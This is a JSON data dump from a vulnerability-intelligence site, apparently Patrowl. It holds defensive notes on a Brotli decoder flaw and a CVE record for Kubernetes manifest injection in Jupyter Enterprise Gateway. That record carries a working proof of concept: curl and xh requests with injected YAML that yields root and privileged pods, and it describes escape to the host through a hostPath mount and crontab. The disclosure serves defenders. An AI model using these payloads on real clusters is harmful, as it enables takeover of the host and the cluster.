[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-44182":30,"landing-articles":102},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":43,"references":46,"score":50,"epss_score":51,"epss_percentile":52,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":53,"attack_mappings":63,"exploits":100},359039,"CVE-2026-44182","EUVD-2026-45065","Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering\n\n### Summary\n\nThe environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources.\n\n### Details\n\nThe server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection.\nhttps:\u002F\u002Fgithub.com\u002Fjupyter-server\u002Fenterprise_gateway\u002Fblob\u002F152c20f162f2fab700c04c8830ebf8c1e2e2217a\u002Fetc\u002Fkernel-launchers\u002Fkubernetes\u002Fscripts\u002Fkernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps:\u002F\u002Fgithub.com\u002Fjupyter-server\u002Fenterprise_gateway\u002Fblob\u002F152c20f162f2fab700c04c8830ebf8c1e2e2217a\u002Fetc\u002Fkernel-launchers\u002Fkubernetes\u002Fscripts\u002Flaunch_kubernetes.py#L130-L137\n\n### PoC\n\nThese proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used.\nBy default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart.\n\nUsing `ducaale\u002Fxh`:\n\n```bash\nxh http:\u002F\u002Flocalhost:31529\u002Fapi\u002Fkernels env:=@env-working-dir-exploit.yaml\n```\n\n`env-working-dir-exploit.yaml`:\n\n```json\n{\n  \"KERNEL_POD_NAME\": \"working-dir-root\",\n  \"KERNEL_NAMESPACE\": \"notebooks\",\n  \"KERNEL_WORKING_DIR\": \"\\\"\u002Ftmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n}\n\n```\n\nResulting request:\n\n```\nPOST \u002Fapi\u002Fkernels HTTP\u002F1.1\nAccept: application\u002Fjson, *\u002F*;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\nConnection: keep-alive\nContent-Length: 233\nContent-Type: application\u002Fjson\nHost: localhost:31529\nUser-Agent: xh\u002F0.24.0\n\n{\n    \"env\": {\n        \"KERNEL_POD_NAME\": \"working-dir-root\",\n        \"KERNEL_NAMESPACE\": \"notebooks\",\n        \"KERNEL_WORKING_DIR\": \"\\\"\u002Ftmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n    }\n}\n```\n\nCurl equivalent command:\n\n```bash\ncurl http:\u002F\u002Flocalhost:31529\u002Fapi\u002Fkernels -H 'content-type: application\u002Fjson' -H 'accept: application\u002Fjson, *\u002F*;q=0.5' -d '{\"env\":{\"KERNEL_POD_NAME\":\"working-dir-root\",\"KERNEL_NAMESPACE\":\"notebooks\",\"KERNEL_WORKING_DIR\":\"\\\"\u002Ftmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n  securityContext:\\\\n    runAsUser: 0\\\\n    runAsGroup: 0\\\\n    fsGroup: 100\\\\n# HAHA - stray quote \\\"\"}}'\n```\n\nThe rendered Jinja2 template:\n\n```yaml\n# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.\n# Substitution parameters are processed by the launch_kubernetes.py code located in the\n# same directory.  Some values are factory values, while others (typically prefixed with 'kernel_') can be\n# provided by the client.\n#\n# This file can be customized as needed.  No changes are required to launch_kubernetes.py provided kernel_\n# values are used - which be automatically set from corresponding KERNEL_ env values.  Updates will be required\n# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.\n#\napiVersion: v1\nkind: Pod\nmetadata:\n  name: \"working-dir-root\"\n  namespace: \"notebooks\"\n  labels:\n    kernel_id: \"186f4ecf-bf90-40b8-b210-a0987bfce927\"\n    app: enterprise-gateway\n    component: kernel\n    source: kernel-pod.yaml\n  annotations:\n    cluster-autoscaler.kubernetes.io\u002Fsafe-to-evict: \"false\"\nspec:\n  restartPolicy: Never\n  serviceAccountName: \"default\"\n# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.\n# WARNING: Only using runAsUser w\u002Fo runAsGroup or NOT enabling the RunAsGroup feature-gate\n# will result in the new kernel pod's effective group of 0 (root)! although the user will\n# correspond to the runAsUser value.  As a result, BOTH should be uncommented AND the feature-gate\n# should be enabled to ensure expected behavior.  In addition, 'fsGroup: 100' is recommended so\n# that \u002Fhome\u002Fjovyan can be written to via the 'users' group (gid: 100) irrespective of the\n# \"kernel_uid\" and \"kernel_gid\" values.\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 100\n    fsGroup: 100\n  containers:\n  - image: \"elyra\u002Fkernel-py:3.2.3\"\n    name: \"working-dir-root\"\n    env:\n# Add any custom envs here that aren't already configured for the kernel's environment\n#    - name: MY_CUSTOM_ENV\n#      value: \"my_custom_value\"\n    workingDir: \"\u002Ftmp\"\n\n# INJECTION\n  securityContext:\n    runAsUser: 0\n    runAsGroup: 0\n    fsGroup: 100\n# HAHA - stray quote \"\n    volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n  volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\nNormally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`.\nThis injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`).\nThe processing of the YAML results in the duplicate key clobbering the original.\nMaking the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`.\n\nIn addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field.\n\n\n#### Injecting a Pod\n\nBy injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources.\n\n```bash\nxh http:\u002F\u002Flocalhost:31529\u002Fapi\u002Fkernels env:=@env-working-dir-exploit-pod.yaml\n```\n\n`env-working-dir-exploit-pod.yaml`:\n\n```json\n{\n  \"KERNEL_POD_NAME\": \"working-dir-root-pod\",\n  \"KERNEL_NAMESPACE\": \"notebooks\",\n  \"KERNEL_WORKING_DIR\": \"\\\"\u002Ftmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n...\\\\n---\\\\napiVersion: v1\\\\nkind: Pod\\\\nmetadata:\\\\n  name: injected-pod\\\\n\\\\\\n  spec:\\\\n  containers:\\\\n    - name: injected-container\\\\n      image: nginx\\\\n      ports:\\\\n        - containerPort: 80\\\\n      securityContext:\\\\n        privileged: true\\\\n        runAsUser: 0\\\\n        runAsGroup: 0\\\\n...\\\\n# HAHA - stray quote\\\"\"\n}\n```\n\nThis is rendered as (skipping the beginning of the rendering before the inject):\n\n```yaml\n    workingDir: \"\u002Ftmp\"\n\n# INJECTION\n...\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: injected-pod\nspec:\n  containers:\n    - name: injected-container\n      image: nginx\n      ports:\n        - containerPort: 80\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsGroup: 0\n...\n# HAHA - stray quote\"\n    volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n  volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\n`kubectl get pods -n notebooks`\n```\nNAME                   READY   STATUS    RESTARTS   AGE\ninjected-pod           1\u002F1     Running   0          4s\nworking-dir-root-pod   1\u002F1     Running   0          4s\n```\n\nThe `injected-pod` has been created in addition to the `working-dir-root-pod`.\n\n`kubectl get pod\u002Finjected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`:\n\n```json\n{\n  \"privileged\": true,\n  \"runAsGroup\": 0,\n  \"runAsUser\": 0\n}\n```\n\n### Impact\n\nAn attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created.\n\nArbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created.\n\nRepeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R\u002FW volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.","2026-06-03T21:37:00Z",{},false,[39],"CWE-74",[41,42],"cpe:2.3:a:jupyter_enterprise_gateway:jupyter_enterprise_gateway:*:*:*:*:*:*:*:*","cpe:2.3:a:jupyter:enterprise_gateway:*:*:*:*:*:*:*:*",[44,45],"Jupyter_Enterprise_Gateway Jupyter Enterprise Gateway","Jupyter Enterprise Gateway",[47,48,49],"https:\u002F\u002Fgithub.com\u002Fjupyter-server\u002Fenterprise_gateway\u002Fsecurity\u002Fadvisories\u002FGHSA-cfw7-6c5v-2wjq","https:\u002F\u002Fgithub.com\u002Fjupyter-server\u002Fenterprise_gateway","https:\u002F\u002Fgithub.com\u002Fjupyter-server\u002Fenterprise_gateway\u002Freleases\u002Ftag\u002Fv3.3.0",0,0.00632,0.49989,{"timestamp":54,"automatable":55,"tech_impact":56,"exploitation":57,"cisa_decision":58,"cisa_remediation_timeline":62},"2026-07-17T15:04:35.101845Z","yes","total","poc",{"vector":59,"decision":60,"priority":61},"CISAv1\u002FE:P\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T05:35:52.417388\u002F","attend","medium","3D",[64,70,79,87,93],{"name":65,"source":66,"tactics":67,"technique_id":69},"Exploit Public-Facing Application","attack_vector",[68],"initial-access","T1190",{"name":71,"source":72,"cwe_ids":73,"tactics":74,"capec_ids":76,"technique_id":78},"Obfuscated Files or Information","capec",[39],[75],"stealth",[77],"CAPEC-267","T1027",{"name":80,"source":72,"cwe_ids":81,"tactics":82,"capec_ids":84,"technique_id":86},"Dynamic Linker Hijacking",[39],[83,75],"execution",[85],"CAPEC-13","T1574.006",{"name":88,"source":72,"cwe_ids":89,"tactics":90,"capec_ids":91,"technique_id":92},"Path Interception by PATH Environment Variable",[39],[83,75],[85],"T1574.007",{"name":94,"source":72,"cwe_ids":95,"tactics":96,"capec_ids":98,"technique_id":99},"Prevent Command History Logging",[39],[97],"defense-impairment",[85],"T1690",[101],{"link":47},{"count":103,"next":104,"previous":6,"results":105},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[106,114,122],{"id":107,"title":108,"summary":109,"published_at":110,"type":111,"link":112,"image_url":113},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":115,"title":116,"summary":117,"published_at":118,"type":119,"link":120,"image_url":121},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":123,"title":124,"summary":125,"published_at":126,"type":127,"link":128,"image_url":129},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]